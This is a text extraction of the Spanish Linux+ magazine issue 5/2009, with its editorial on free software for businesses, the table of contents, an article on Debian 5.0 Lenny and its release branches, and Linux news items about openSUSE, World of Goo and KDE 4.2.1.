92

Linux_05_2009_ES

Embed Size (px)

Citation preview

Page 1: Linux_05_2009_ES
Page 2: Linux_05_2009_ES
Page 3: Linux_05_2009_ES

a modo de introducciónSoftware libre, ¿lo mejor para la crisis?

�www.lpmagazine.org

Paulina PyrowiczRedactora Jefe de Linux+

¡Hola a todos! Después de casi un año de silencio vuelvo a este trabajo duro de escribir editoriales. Aunque os parezca que es algo fácil escribir unas frases sobre el contenido del número actual, no siempre es así. Si cada mes escribiera lo mismo, nadie

leería esta página y aunque os parezca lo contrario existe un pequeño porcentaje de los lectores que sí lo hacen. Y para estos seres determi-nados tengo que exprimir mi mente para sacar las ideas frescas. Uff, que después de un día de trabajo puede resultar algo agotador... Pero no exageremos y vayamos al grano.

Empecemos por el tema central de este número. Soluciones para empresas es el tema que hemos elegido porque dada la situación eco-nómica en la que nos encontramos muchas empresas se ven forzadas a hacer los recortes presupuestarios y buscan las mejores maneras para ahorrar dinero. En vez de reducir el número de los empleados (que es el método más fácil pero seguramente no es bueno para el desarrollo de la empresa a largo plazo), muchas empresas están valorando la posibilidad de apostar por el software libre y de esta manera bajar sus gastos. Aun-que el paso radical de Windows a Linux en la empresa implica gastos adicionales como el entrenamiento de los empleados, el soporte, etc., el ahorro final puede resultar muy satisfactorio. Según la encuesta que hemos publicado en nuestra web hace algún tiempo la razón principal para usar software libre en el campo laboral es la cuestión económica. La accesibilidad y diversidad de las aplicaciones son los factores si-guientes. Por todas estas razones hemos preparado una serie de artículos para acercaros a este tema. A las personas que tienen su propia empresa o trabajan en una que aprovecha soluciones libres, las informaciones recogidas en este número seguramente les resultarán muy útiles.

Pero no sólo con el trabajo vive uno. Hay que encontrar tiempo para las aficiones también. Por esto, otro artículo que me gustaría recomendaros, sobre todo a las personas que programan o aprenden a programar en Gambas, está relacionado con lo que siempre asociamos con diversión: los juegos. Es la tercera parte de nuestro ciclo dedicado a programación en Gambas y esta vez el autor nos enseña cómo crear un juego en este lenguaje de programación. Espero lo aprovechéis para aprender cosas prácticas y divertiros a la vez.

A todas las personas que se interesan por los temas relacionados con seguridad informática y hacking las invitamos a nuestra nueva sección, Hacking para linuxeros en la que en este mes encontraréis el artículo Cracking Wi-Fi que os ayudará comprobar si vuestra red está en peligro de ser crackeada. Espero que gracias a esta serie de artículos aprenderéis cómo defenderos de los hackers que quieran aprovecharse de vuestros datos.

Por último una vez más queríamos animaros a que compartáis vues-tras ideas y experiencias en nuestro foro: http://foro-es.lpmagazine.org/, seguramente encontraréis temas y discusiones interesantes para tomar parte en ellas, esperamos también vuestros comentarios acerca de los números actuales de Linux+.

¡Qué aprovechéis este número! Buena lectura y hasta la próxima vez.

Software libre, ¿lo mejor para la crisis?

Page 4: Linux_05_2009_ES

� Linux+ 5/2009

índice

En este número

descripción de DVD

Debian 5.0 LennyMiguel Telleria de Esteban

novedades

NoticiasAlex Sandoval

UbuntuFrancisco Javier Carazo Gil

FedoraDiego Rivero Montes

soluciones para empresas

Máquinas virtuales: Una alternativa para PYMESDaniel García

Con este artículo podrá aprender el concepto de máquina virtual, en qué se basan, su funcionamiento y cómo instalar, compilar y con-figurar su propia red a base de máquinas. El único requisito es dis-poner de un PC y ganas de aprender. Para una correcta explicación de todo el entorno de pruebas es necesario instalar un sistema base en una máquina virtual. Por ello también se explicará, paso a paso, este proceso. El sistema a instalar será la distribución GNU/Linux: Debian.

6

18

Reducción de costes de software en la empresa gracias al Software Libre, ¿un mito?Yaiza Temprado Rodríguez

En los últimos años, los proyectos de software libre han abandonado el entorno universitario y se han ido introduciendo paulatinamente en el mundo empresarial. Sin embargo, aún hay muchas empresas que, o bien por desconocimiento o por recelo, aún no se han atrevido a dar “el salto”. En este artículo se analiza la situación actual del software libre en las empresas y su nivel de implantación, así como los pros y los contras que supone para una empresa migrar sus sistemas a software libre.

Google Search ApplianceMiguel Sempere

Google es el buscador de contenidos más importante a nivel mun-dial, perteneciente a Google Inc. y fundado por Larry Page y Sergey Brin (dos estudiantes de doctorado en Ciencias de la Computación de la Universidad de Stanford) hace ya más de 10 años.

32

12

16

17

38

Rehosting de sistemas VAX/OpenVMS en sistemas GNU/LinuxJosé B. Alos Alquézar

Uno de los grandes problemas existentes en la industria es el mante-nimiento de sistemas informáticos debido a la obsolescencia de com-ponentes. Quizás el caso más paradigmático sucede en la industria aeronáutica, en la que, los proyectos a largo plazo de un mínimo de quince años tropiezan con el handicap de que los sistemas utilizados para el desarrollo de software empotrado no se pueden cambiar con la frecuencia que sería deseable.

�8

Page 5: Linux_05_2009_ES

5www.lpmagazine.org 5

programación

Creando un Juego en GambasJorge Emanuel Capurro

En esta entrega, nos propondremos a crear un juego en Gambas: el fa- moso JackPot o Tragamonedas. Estudiaremos la lógica de este juego, como así también los conceptos nuevos que necesitamos para poder desarrollarlo. Dejemonos un poco de hablar y... ¡comencemos a pro-gramar!

Soluciones para empresasTema del número

conocimiento libre

Más allá del Conocimiento Libre: Liberando y Compartiendo IdeasJosé Carlos Cortizo Pérez

Por lo general hablamos de liberar código, en referencia al Software Libre, o liberar trabajos y/o contenidos, en referencia al amplísimo campo del Conocimiento Libre. Sin embargo, existen movimientos que tratan de ir más allá de los contenidos en si mismos, llevando la idea de la libertad al intangible mundo de las ideas. En este artículo hablaremos de algunas iniciativas en esta línea que le dan una intere-sante vuelta de tuerca al mundo del Conocimiento Libre.

índice

hacking para linuxeros

Cracking Wifi al completoDavid Puente Castro (Blackngel)

¿Deseas comprobar si la red WiFi que tienes montada en tu casa es realmente segura? ¿En tu escuela saben que eres un hacha en esto de la informática y te han pedido que realices una auditoría de su red ina-lámbrica? ¿O simplemente no puedes costearte una conexión ADSL puesto que tus recursos son limitados y tienes la suerte de tener a tu alcance la red wireless que tu vecino ha instalado hace apenas unos meses?

58

68

80

entrevista

Entrevista a Jordi Bufí (Co-Fundador de Neurotic)

Jordi Bufí es un “informático metido a emprendedor” desde el año 2003, cuando junto a Carlos Rincón fundó Neurotic, una empresa tec-nológica dedicada a ofrecer soluciones Web y consultoría de Drupal. En Septiembre de 2008, Jordi anunciaba en su blog la liberación bajo licencia Creative Commons del plan de empresa de un proyecto muy interesante en el que habían estado trabajando Carlos y él durante bastante tiempo. En esta entrevista profundizaremos sobre la libe-ración del plan de empresa y la relación de Neurotic con el Software Libre.

Entrevista a Aurora Garal (co-fundadora y CEO de WorthIdea)

WorthIdea es una plataforma global que permite a las personas comu-nicar todas las ideas originales que tengan, generando interesantes conversaciones entre distintas personas y agentes, o incluso obte-niendo remuneración económica por las ideas que realmente aportan valor. En este número entrevistamos a Aurora Garal, co-fundadora y actual CEO del proyecto.

88

86

Page 6: Linux_05_2009_ES

descripción de DVDDVD

� Linux+ 5/2009

El 14 de Febrero, los enamorados del Software Libre tuvimos una razón más para celebrar el día de San Valentín: la publicación de

la versión estable de Debian, llamada Debian Lenny. Con este hito el proyecto Debian cierra una de sus ciclos de desarrollo más exitosos y abre otro nuevo, el comienzo de la siguiente versión: Debian Squeeze.

La cultura e historia de DebianQuien considere a Debian sólamente como un mero conjunto de paquetes y las herramientas para gestionarlos se pierde la mayor parte del cuadro.

Desde su creación, hace 16 años, Debian es la distribución pionera en el desarrollo comuni-tario, definiendo unas pautas y regulaciones que la gobiernan (constitución y el contrato social). Estas reglas de funcionamiento, basadas en el voluntariado, la transparencia, adherencia al software libre, diálogo, votaciones y libertad tanto de ataduras de tiempo como de intereses económicos, han hecho que muchos desarro-lladores con talento se hayan sentido atraídos a contribuir y popularizó la distribución entre los LUGs y asociaciones linuxeras de todo el mundo.

Mientras otras distribuciones (tipicamente RedHat, SuSE y Mandrake) publicitaban sus entregas como “productos terminados y listos para su uso inmediato”, Debian tomó la op-ción de distribuir una instalación minimalista pero con un avanzado sistema de paquetes para poder facilmente personalizarla a su en-torno. De esta manera Debian se adapta a una gran gama de plataformas tanto en potencia de cálculo (desde pequeños o antiguos orde-nadores hasta supermáquinas) como en dife-rentes arquitecturas de procesadores hardware (x86, PowerPC, ARM, Itanium, Sparc...). En cuanto a la configuración, Debian desplaza la función de los típicos asistentes centraliza-

dos a enclaves en el sistema de paquetes para que cada paquete incluya su propio sistema de interacción con el usuario y gestione sus propias opciones. Todo esto ha hecho de este sistema de paquetes durante mucho tiempo la más potente de las distrubuciones existentes (dejando a parte Gentoo que ofrece aún más opciones al poder personalizar la compila-ción).

Con el tiempo, el modelo de Debian ha ido triunfando y se ha exportado a otras distri- buciones mayores. De esta forma Red Hat y SuSE/Novell crearon sus versiones comu-nitarias, Fedora en 2003, openSuSE en 2004 y Mandriva abrió el Mandriva Club al pú-blico a principios del año pasado. En cuanto a sistemas de empaquetado, el RPM de base que usan RedHat, SuSE y Mandriva ha sido extendido en cada una de ellas a YUM, Zipper y URPMI respectivamente dando capacidades de gestionar dependencias, repositorios pro-pios y opciones de configuración.

También la instalación minimalista de Debian ha evolucionado. Con la inclusión en 2005 del instalador de Debian (Debian Ins- taller o D-I para los amigos) se llevó la po-tencia de los paquetes al propio instalador simplificando muchos pasos que antes había que dar manualmente. Aunque por defecto si-gue instalando un sistema base basado en con-sola, la instalación de un entorno de escritorio Gnome, KDE u otro es mucho más sencilla y accesible a todo el mundo.

Contribuir a Debian no es difícil, pero para llegar a convertirse en un desarrollador oficial pleno se ha de pasar un largo proceso de prueba puramente basado en la “merito-cracia” donde se testean no sólo aspectos técnicos sino también de familiarización con la filosofía del proyecto. En cualquier caso todos los desarrolladores y colabores realizan su tarea como voluntarios sin ninguna remu-neración directa.

En la actualidad Debian continua siendo un referente, siendo de las distribuciones que más atención presta a las licencias y aspectos legales del software libre a la vez que mantiene unos altos niveles de calidad sobre una gran cantidad de paquetes.

Debian: 3 distribuciones en 3 ramasPara aprovecharse bien de las ventajas de Debian hay que conocer y comprender como se crean las diferentes versiones de su dis-tribución.

Como toda distribución de GNU/Linux, Debian no es la autora del software que distri-buye sino que lo recoge de los desarrolladores originales (OpenOffice, Apache...), denomi- nándose versiones río arriba o upstream. Estas versiones se empaquetan añadiéndoles arre-glos de fallos y correcciones para seguir las normas estándares de Debian (sincronizándo-se lo máximo posible con los ya mencionados desarrolladores upstream). Estos paquetes ya se instalan de forma uniforme en el sistema. Sólo cuando en Debian consideran que el con-junto de la distribución mantiene unos niveles aceptables de calidad medido por los fallos (bugs ) abiertos en su sistema de seguimiento de fallos (bug tracking system o BTS) consi-deran el ciclo terminado y publican la versión como finalizada.

Este proceso suele llevar unos 2 años, periodo durante el cual la última versión pu-blicada acaba quedándose obsoleta respecto a las muchas novedades que se generan en el software libre. Para paliar este problema, el proyecto Debian ofrece siempre a los usua-rios elegir entre tres distribuciones en tres ramas.

• La versión finalizada en la rama estable (stable): Esta versión, que fue probada y corregida durante todo el ciclo ante- rior, es la que se recomienda para má- quinas en producción o cualquier en-torno crítico.

• Los paquetes de esta rama nunca cambia-rán de versión ni tendrán nueva funciona-lidad añadida (salvo cuando se pase de un ciclo a otro), las únicas actualizaciones salen para corregir fallos de seguridad. A cambio se garantiza una estabilidad de hierro en el sistema y un estricto se-guimiento de la aparición de vulnerabili- dades.

Debian 5.0 Lenny

Figura 1. Debian Lenny

Page 7: Linux_05_2009_ES

descripción de DVDDVD

�www.lpmagazine.org

• La versión del ciclo actual en la rama de test (testing): En esta rama los paquetes van llegando de la rama inestable, gene-ralmente automáticamente, después de ha- ber pasado allí un mínimo tiempo de tes-teo y con la condición de que tanto ellos, como sus dependencias, no tengan un número importante de fallos reportados sin corregir (pero alguno siempre suele quedar).

• En esta rama se mantiene siempre un sistema coherente y más o menos actua-lizado con las versiones originales up- stream.

• La rama de test es una posible alternativa para tener un sistema de trabajo funcional y moderno pero con las siguientes contra-prestaciones:– Los paquetes aún pueden tener fallos

abiertos importantes.– No todos los programas están en las

versiones modernas, a veces un fallo importante en una librería puede blo-quear un proyecto entero para pasar de la rama inestable a la rama de test. Debian es más conservativa que la mayoría de las distribuciones en cuan-to a la estabilidad se refiere.

– Durante un mismo ciclo de desarro-llo se harán bastantes transiciones de subsistemas grandes (ej. nuevas ver-siones de escritorios, o de intérpretes como PERL o Python...). Las transi-ciones de estas versiones requieren a veces unas intervenciones manuales para volver a dejar el sistema funcio- nando.

– El soporte de actualizaciones de se-guridad existe (sobre todo al final del ciclo) pero no es de la misma calidad que en la rama estable.

• Version Debian Sid en la Rama inestable (unstable): en esta rama se reciben nue-vas versiones ya sea directamente del desarrollador upstream o del repositorio experimental donde se realizan las prue-bas “más arriesgadas”.

• Los paquetes de esta rama garantizan que en sí solos compilan y ejecutan, pero en cambio puede haber incompatibilidades entre unos nuevos paquetes y otros an-tiguos o existir varias versiones de los mismos.

• El mantenimiento de un sistema 100 % funcional en esta rama es algo laborioso y requiere familiarizarse con mecanismos especiales del sistema de paquetes (desac-tivar actualizaciones de algunos paquetes, mezclar versiones de otras ramas o forzar algunos pasos no muy ortodoxos).

• Por lo tanto no se recomienda para siste-mas de producción (más que nada por la sobrecarga que conlleva el tenerla siempre funcional).

• Sin embargo esta rama cumple varias fun-ciones importantes:

• Es la rama donde se desarrolla verdadera-mente la evolución de la distribución. Si queréis

• Permite al usuario disfrutar de las ultimas funcionalidades del software libre mante-niéndose dentro de la propia distribución.

• ¡ Se aprende mucho sobre Debian y Linux usando esta rama !

De esta forma antes del 14 de febrero la corres-pondencia rama versión era:

• stable – Debian Etch• testing – Debian Lenny• unstable – Debian Sid

mientras que a partir de dicha fecha la corres-pondencia es y seguramente seguirá siendo por muchos meses:

• stable – Debian Lenny• testing – Debian Squeeze• unstable – Debian Sid (ésta no cambia)

Por estas fechas en muchos lugares del mundo máquinas en producción que se mantienen en la rama estable estarán haciendo la única tran-sición importante en los ultimos 2 años: pasar de Etch a Lenny, proceso que forma parte de las pruebas de la rama testing.

También hay que hacer notar que no todo es blanco o negro. Debian permite mezclar paquetes de ramas diferentes o importar de otros proyectos como Ubuntu. Lo normal es tener casi todo proveniente de una misma rama salvo algunos paquetes backportados (esto es reconstruidos a partir de las fuentes de otra rama más avanzada) desde ramas más avanzadas o de repositorios no oficiales.

Debian y Ubuntu, una simbiosis perfectaEl lento proceso de publicación, junto a algu-nas ferreas restricciones de legalidad hacen que Debian siempre haya sido ligeramente ar-dua de usar sobre todo para el usuario novel. Por otro lado la transparencia y gran disponi-bilidad del código que ofrece Debian facilita el sacar distribuciones derivadas.

Varios intentos surgieron para hacer una Debian gran público con instaladores gráficos y una buena personalización para un usuario de escritorio. Pero allí donde otros fracasaron (entre ellos su fundador Ian Murdock con Progeny), Mark Shuttleworth, millonario gracias a Thawte, turista espacial y... antiguo desarrollador de Debian, triunfó creando la distribución Ubuntu en Octubre del 2004, en plena crisis Debianista por el largo retardo en la publicación de la versión Sarge (llevó 3 años).

En cuanto a modelo de trabajo, Ubuntu se diferenció de sus predecesoras (Progeny, Libra-net...) en cuatro cosas:

• Alimentarse de la versión inestable, en vez de las otras versiones que partían de la versión estable ya finalizada.

Figura 2. Particionado con el debian installer

Page 8: Linux_05_2009_ES

� Linux+ 5/2009

descripción de DVDDVD

• Hacer ciclos de publicaciones más cor- tos sincronizándose con proyectos como Gnome y ocupándose sólo de un número reducido de paquetes claves para el siste-ma de escritorio (el resto de los paquetes sigue estando disponible en repositorios como universe que proviene de la rama inestable de Debian).

• Seguir el mismo modelo abierto que De-bian, abriendo sus repositorios, creando un sistema de gestor de fallos y un mon-tón de herramientas en su excelente forja launchpad.net.

• Y no menos importante... contratando mediante su empresa Canonical a gente importante de Debian dándoles un suel-do para que trabajasen en Ubuntu pero permitiéndoles también el trabajar con Debian.

Sin embargo con Ubuntu el desarrollo de De-bian también se ha visto beneficiado, puesto que ha permitido a Debian ver como nuevos paquetes, sobre todo de escritorio se iban com-portando en una release final. Las publicaciones siguientes a Sarge (Etch y ahora Lenny) han si-do mucho más sencillas de hacer.

Además es bastante sencillo reconstruir un paquete de una distribución en la otra ya que utilizan el mismo sistema y nomemclatura de paquetes.

Diferencias entre Debian y UbuntuYo citaría las siguientes ventajas de Debian sobre Ubuntu:

• La distribución estable de Debian tiene una garantía de funcionamiento mayor al elegir versiones de software más maduras.

Por ejemplo Debian Lenny viene con el Network Manager (gestor automático de conexiones de red) 0.6 mientras que Ubuntu Intrepid ya se atrevió con la 0.7 creando problemas para IP’s estáticas).

• Debian da un servicio completo de cali-dad a todos sus paquetes (mientras ten-gan licencia libre) mientras que Ubuntu sólo da soporte oficial de Canonical al subconjunto del repositorio main.

• Debian es la única que se preocupa de ofrecer CD’s o DVD’s de descarga para toda su distribución. Ubuntu sólo ofrece 1 CD básico para cada versión Ubuntu (Ubuntu, Kubuntu, Edubuntu, Xubun-tu...). Aunque esto es cada vez menos ne- cesario dado el creciente acceso a la ban-da ancha, sigue siendo importante o in- cluso imprescindible en entornos cerra-dos o sin acceso permanente o de calidad a internet.

Por otro lado usuarios de Ubuntu encontra-rán las siguientes pequeñas diferencias en Debian respecto a lo que están acostum-brados.

Firefox y Thunderbird renombrados a Ice- weasel y Icedove. Esto es así por un conflicto entre Debian y la Mozilla Foundation que sigue sin resolverse en dos puntos:

• El artwork (iconos, banners...) que Debian quiere retocar pero que Mozilla no lo per-mite manteniendo el mismo nombre del programa.

• El deseo de Debian de dar soporte a una misma versión proveyendo actualizaciones de seguridad mientras que Mozilla quiere maximizar la actualización a nuevas ver-siones.

• Sin embargo el código fuente es el mismo y los plugins de Firefox y thunderbird funcionan también perfectamente en las versiones de Debian.

• En sentido estricto los debianistas pen-samos que Ubuntu también debería ha-ber renombrado sus paquetes, pero ellos decidieron no hacerlo para no confundir al usuario final.

• Debian no utiliza sudo por defecto. Hay que definirse una contraseña de root en el momento de la instalación y cualquier aplicación de administración gráfica pedi-rá esa contraseña en vez de la del usuario con permisos sudo.

• Ausencia de drivers no libres (como los de las tarjetas gráficas nVidia y ATI). Fiel a sus principios, Debian recomienda usar los equivalentes (aunque a veces menos funcionales) drivers libres nv y ati, o en el peor de los casos el universal vesa. Si se quiere instalar los drivers propietarios, existen páginas en la web que te enseñan como hacerlo facilmente.

• Falta de paquetes con soporte para MP3 o codecs propietarios. Ya sea por temas de no libertad, problemas de patentes de soft-ware (o ambos) algunos formatos como el MP3 o ciertos codecs no están plenamente soportados en los repositorios oficiales de Debian. Sin embargo existe otro reposito-rio de larga tradición que siempre los ha tenido, el Debian Multimedia de Christian Marillat.

NOTA: Para evitarse problemas, lo mejor es utilizar los formatos de audio y video Ogg lo máximo posible.

• KDE4 no ha sido admitido aún siquiera en la versión inestable de Debian (mientras que Ubuntu Intrepid ya lo trae por defecto en sus versiones de Kubuntu). Quien quie-ra usar KDE4 en Debian tiene que tomarlo del repositorio experimental.

Aspectos nuevos de Debian LennyPara entender el estado de modernidad de una distribución no hay que fijarse en su fecha de publicación sino en su fecha de congelado la cual ocurre en los ultimos meses del ciclo de desarrollo.

Debian Lenny fue congelada en Sep-tiembre del 2008 y desde entonces todas las actualizaciones fueron para corregir fallos existentes. Esto quiere decir que está más o menos a la par que Ubuntu Intrepid 8.10 en cuanto a versiones de software.

Merece la pena leerse las notas de publica-ción, sobre todo el segundo capítulo, para ver Figura 3. Escritorio GNOME

Page 9: Linux_05_2009_ES

�www.lpmagazine.org

descripción de DVDDVD

Si no puedes leer el disco DVDy no notas ningún tipo de deterioro mecánico, por favor, pruébalo en al menos dos unidades de disco diferentes.

5/200�

En caso de problemas, escribir a: [email protected]

Page 10: Linux_05_2009_ES

10 Linux+ 5/2009

descripción de DVDDVD

lo que tenemos disponible. Para hacernos una idea aquí van las versiones de los paquetes más conocidos.

• Kernel 2.6.26• Gnome 2.22• KDE 3.5.10• LXDE 0.3.2• XFCE 4.4.2• OpenOffice 2.4.1• Iceweasel (Firefox) 3.0.5• Icedove (thunderbird) 2.0.0.19• GIMP 2.4.7• Apache 2.2.9• PERL 5.8.8• Python 2.5.2• PHP 5.2.6• MySQL 5.0.51a• PostgreSQL 8.3.5• Exim 4.69• Postfix 2.5.5• GCC 4.3.2

Por otra lado Debian Lenny también trae las siguientes novedades (respecto a versiones anteriores):

• Unos paquetes especiales (Debian Pure Blend) para los miniportátiles Asus EEE.

• Soporte para cross-compilación en siste-mas embarcados ARM con EmDebian.

• Un entorno para generar distribuciones live (autocontenidas en CD’s o pendrives USB).

• SELinux (un sistema para ampliar el sis-tema de permisos de Linux con ACLs) ahora se instala por defecto aunque hay que activarlo expresamente para usarlo.

• Soporte para el sistema de virtualización OpenVZ/Linux Vserver. Además de los ya presentes (Xen, KVM, Qemu...).

InstalaciónLa instalación de Debian Lenny es muy sen-cilla y se puede realizar desde varias fuentes (CD, Pendrive USB, desde red...) o incluso versiones mixtas. Yo recomiendo bajarse un primer CD completo, instalarse el sistema desde dicho CD y después ir tirando de pa-quetes de internet.

Si optamos por esta opción los pasos serían:

• Seleccionar cual de los 3 CD’s de instala-ción bajarse. Por defecto (el CD1) instala Gnome, pero también hay versiones para KDE y para XFCE/LXDE. En cualquier caso todos los paquetes se encuentran en los repositorios o en los otros 31 CD’s del sistema.

• Al arrancar elegir entre el instalador gráfico (que instalará un sistema comple-to hasta el escritorio) o el instalador de texto (que instalará un sistema de base de línea de comando).

• Realizar el particionamiento manual con cuidado eligiendo una partición para el sistema y otra para el home.

• Definir la contraseña de root y un usuario aparte.

• Dejar que el sistema base termine de insta-larse.

• Instalar gestor de arranque

Al arrancar se obtendrá un sistema como el de la Figura 2 (para el caso de Gnome).

Webs y recursos de ayudaDebian tiene sus herramientas particulares:

• Sistema de seguimiento de fallos: http://bugs.debian.org.

• Base de datos de paquetes: http://packages.debian.org.• Listas de correo de soporte y discusión:

http://lists.debian.org.

Además de esto existen muchas recetas en http:// debian-administration.org y mucha de la do-cumentación que veáis sobre ubuntu os puede valer. No olvidéis tampoco vuestro LUG local para cualquier ayuda.

ConclusiónDebian Lenny es una distribución muy funcio-nal que lleva acumulado todo el saber de Linux y de Debian de varios años. Es una buena al-ternativa a la Ubuntu LTS ya que se dispone de un soporte de largo tiempo y el sistema ha sido bien testeado para su estabilidad. Por otro lado Debian ofrece otras ramas desde donde impor-tar versiones de paquetes más avanzadas.

Miguel Telleria de Esteban trabaja en la Uni-versidad de Cantabria (Santader, España) como investigador en sistemas de tiempo real. Además participa y colabora con los LUGs (http://linuca.org) de la región de Can- tabria y http://bxlug.be de la región de Bruse-las (Bélgica). Lleva usando Debian y Ubuntu desde hace 7 años.

Sobre el autor

• Constitución de Debian: http://www.debian.org/devel/

constitution,• Contrato social de Debian y DFSG: http://debian.org/social contract,• Fallo launchpad 259214 opciones

de la conexión de cable perdidas después de un re-arranque:

https://bugs.launchpad.net/bugs/259214,

• Notas de release de debian lenny: http://www.debian.org/releases/

stable/i386/release-notes/index.es.html,

• Procedimiento de instalación del driver propietarios nvidia:

http://forums.debian.net/viewtopic.php?t=28381,

• Repositorio de christian marillat: http://debian-multimedia.org/,• Soporte de debian para asus eee: http://debian-eeepc.alioth.debian.org/.

En la red

Figura 4. Procedimiento de instalación del driver propietario nvidia

Page 11: Linux_05_2009_ES
Page 12: Linux_05_2009_ES

12 Linux+ 5/2009

NEWS novedadessección llevada por Alex Sandoval [email protected]

Asia y América en 2010En 2010 la implantación del software libre llegará a un 70% aproximadamente. Prueba de ello son los resultados de un estudio pu-blicado por María Dolores Gallego, Salva-dor Bueno (ambos de la Universidad Pablo de Olavide) y Paula Luna (Universidad de Sevilla) en la revista Technological Fore-casting & Social Change, que apuntan que en 2010 la adopción de software libre en América del Sur y Asia se situará próximo al 70%. Según este estudio, la flexibilidad y la calidad son las variables que más in-fluencian al usuario a la hora de elegir.Los investigadores cierran el artículo con una recomendación a la administración pú-blica, porque quien está poniendo realmen-te interés a la difusión es ella... las claves para el fomento de este tipo de herramien-tas se encentran en estos resultados, bus-cando fundamentalmente la flexibilidad.

Gobierno alemán destina 500 millones de euros al Software Libre Después que el gobierno británico demostrara que el software libre es mejor para sus contri-buyentes y, a partir de ahí, desarrollara un plan de acción para impulsarlo, otros gobiernos europeos parecen estar tomando nota y mon-tando otros planes para apoyar el Software Libre. En concreto, el gobierno alemán acaba de decidir destinar 500 millones de euros al programa Open Source and Green IT, un programa dedicado a la estabilidad y creci-miento de las herramientas de Software Libre, tecnologías "green" y soluciones de seguridad informática para objetivos gubernamentales.http://softlibre.barrapunto.com/softlibre/09/03/06/1142214.shtml

Zypper permitirá actualizar openSUSE al estilo de dist-upgradeCon la introducción de zypper en openSU-SE, una herramienta muy superior a YOU (YaST Online Update) y ZLM, los chicos del proyecto openSUSE desean ofrecer a los usuarios la posibilidad de actualizar la distro completa al estilo de dist-upgrade en Debian.Esta nueva característica podría ser un gran impacto para los usuarios, empresas y departamentos TI que utilizan openSUSE, ya que permitiría actualizar de forma muy simple una instalación existente a la versión más actualizada.Esta es la única característica competitiva significativa de Debian/Ubuntu que le faltaba a openSUSE. Planean ofrecer esta funcionalidad desde openSUSE 11.2, y solo permitirá actualizar desde la versión 11.1, ya que es un gran desafio. El equipo del proyecto también aspiran a realizar actualizaciones incrementales, primero de 11.1 a 11.2 y luego de 11.x a 12.0.Espero que todo le salga bien a los chi-cos del proyecto openSUSE, y podamos actualizar nuestra instalación a la manera debianita.http://microteknologias.wordpress.com/2009/03/04/zypper-permitira-actualizar-opensuse-al-estilo-de-dist-upgrade/

World of Goo en el mundo de TuxPara ser parte de la industria de desarrollo de

videojuegos se debe contar con enormes can- tidades de dinero y recursos para competir con los grandes de la industria, condiciones com-parables a las que se encuentran en la industria cinematográfica. Atrás quedaron los tiempos en que divertidos juegos eran creados con mucho ingenio y esfuerzo personal, cuando sólo bastaba un computador, las ganas de programar y diver-tirse al mismo tiempo. Y es que hoy desarrollar juegos ya no es tan divertido como antes, incluso se sabe de grandes fabricantes que han sido de-mandados por sus malas condiciones de trabajo.

En este contexto aparece 2D Boy, un par de indie developers que dejaron las filas de Elec-tronic Arts para volver a trabajar como se hacía antes pero con la tecnología de hoy. Su plan es desarrollar juegos originales en donde la diver-sión es el factor predominante, y lo han logrado con su primera entrega : World of Goo.

En pocas palabras, World of Goo es un jue- go de ingenio con una gran dosis de física. El juga- dor debe controlar a los “goo’s”, unos personajes en forma de bolita que tienen distintas habilida-des, y los debe ordenar para construir todo tipo de arquitecturas de tal forma que se logre el obje- tivo de cada etapa. El concepto es simple pero altamente adictivo debido a sus ingeniosos nive- les, divertida música, excelentes gráficos y bue- nos toques de humor.

Pero eso no es todo, ya que los muchachos de 2D Boys se la jugaron, y sin conformarse con tener esta versión para Wii, Windows y Mac, han desarrollado una versión para Linux. En sus propias palabras:

Las estadísticas de nuestro blog nos dicen que cerca del 5% de nuestros visitantes usan Linux, asi que no estábamos seguros si habría mucho interés de la comunidad Linux o no. ¿Los usua-

ros de Linux juegan? Puede ser. ¿Es sólo un pro-blema del huevo y la gallina donde los usuarios de Linux jugarían más si más gente hace versio-nes de sus juegos para Linux?

Nuestra desición de hacer que World of Goo estuviera disponible para Linux no tenía mayor discusión ¡Porque los juegos DEBEN estar dis-ponibles para Linux!

La versión para Linux está disponible en los tres formatos más conocidos : tar.gz, .deb y .rpm. En FayerWayer Labs(tm) hemos probado la ver-sión .deb del demo en Ubuntu 8.10 y después de un simple doble click sobre el paquete descarga-do, funciona a la perfección en modo full screen, con una experiencia limpia, tal como correr un juego nativo tipo FrozenBubble con esteroides.

Si el juego no hubiese sido tan bueno, usted ya habría leido este artículo.

En el día de lanzamiento de World of Goo para Linux, las ventas para esta plataforma gene-raron un aumento en el 40% de lo que ya tenían. Es la respuesta de la comunidad a la apuesta de 2D Boy, y reconocen que han visto un mercado en el mundo del pinguino también.

Lo que no se vióEn la versión para Linux tuvieron que enfrentar algunas dificultades técnicas, una de ellas fue una batalla frente a PulseAudio que viene por omisión en las distribuciones populares como Ubuntu. PulseAudio provocaba un poco de retardo en el audio, algo que no sería problema para la mayoría de las aplicaciones pero puede ser crítico para un juego, en donde audio y video deben sentirse perfectamente sincronizados. Al final pudieron lograrlo pero les tomó un esfuerzo adicional. Sin temor a ser criticados declaran que en Windows no tuvieron este tipo de problemas.

Otra crítica constructiva que hacen es que Linux está construido por gente muy inteligente, pero al mismo tiempo de una linea bastante dura. Hay una gran cantidad de buenas ideas, pero pa-ra los desarrolladores es complejo poder abarcar-las todas, por ejemplo los sitemas de audio/video o los formatos de paquetes. Para ellos sería más sencillo si no existieran tantas opciones.

Algo a destacar es que pudieron incorporar a la comunidad en parte del desarrollo y los re-sultados fueron mejores de lo que esperaban.

Sabíamos desde el principio que queríamos que nuestro juego estuviera disponible para cual-quiera, independiente de la plataforma. Además teníamos el deseo secreto de ver surgir las ideas de apertura que están detrás de Linux. Conoci-mos a la persona que hizo nuestro port de linux

Este juego trata sobre unas bolitas (al parecer de petroleo) llamadas los “goo’s”, que tienen diferentes habilidades, y que se tienen que organizar para construir diversas estructuras con el fin de lograr el objetivo en cada etapa

Page 13: Linux_05_2009_ES

13www.lpmagazine.org

NEWS

sección llevada por Alex Sandoval [email protected]

novedadesNoticias

KDE 4.2.1A poco más de un mes del lanzamiento de la versión 4.2 de uno de los escritorios más famosos donde los haya, ha sido puesta a disposición del público la primera actuali-zación 4.2.1 cream como ha sido denomina-da. Se trata de una actualización de mante-nimiento y es la versión que se recomienda para todos los usuarios. Esta actualización no incorpora realmente ninguna nueva característica pero la estabiliza aún más y se han realizado mejoras en Kopete, Kmail y Okular entre otras aplicaciones.

